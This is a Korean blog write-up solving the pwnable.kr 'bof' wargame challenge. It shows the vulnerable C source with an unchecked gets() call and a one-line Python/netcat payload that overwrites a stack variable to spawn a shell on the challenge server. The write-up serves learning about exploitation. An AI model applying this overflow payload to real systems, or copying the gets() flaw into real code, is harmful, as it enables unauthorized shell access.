Self-Improvement
[pwnable.kr] bof 풀이 본문
소스코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
|
cs |
gets()함수에서 bof가 발생하여 key 값이 저장된 주소까지 덮어씌울 수 있다.
* func에 canary가 존재하지만 func 함수가 종료전에 system("/bin/sh")를 수행시킴으로 상관이 없다.
풀이
buf의 크기를 다 채우고 key 값을 0xcafebabe로 덮어씌워준다.
(python -c 'print "A"*52+"\xbe\xba\xfe\xca"';cat)|nc pwnable.kr 9000
'리버싱 기초 > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] random 풀이 (0) | 2020.06.22 |
---|---|
[pwnable.kr] passcode 풀이 (scanf() 함수 취약점) (0) | 2020.06.22 |
[pwnable.kr] flag 풀이 (0) | 2020.06.22 |
[pwnable.kr] collision 풀이 (0) | 2020.06.22 |
[pwnable.kr] FD 풀이 (0) | 2020.06.18 |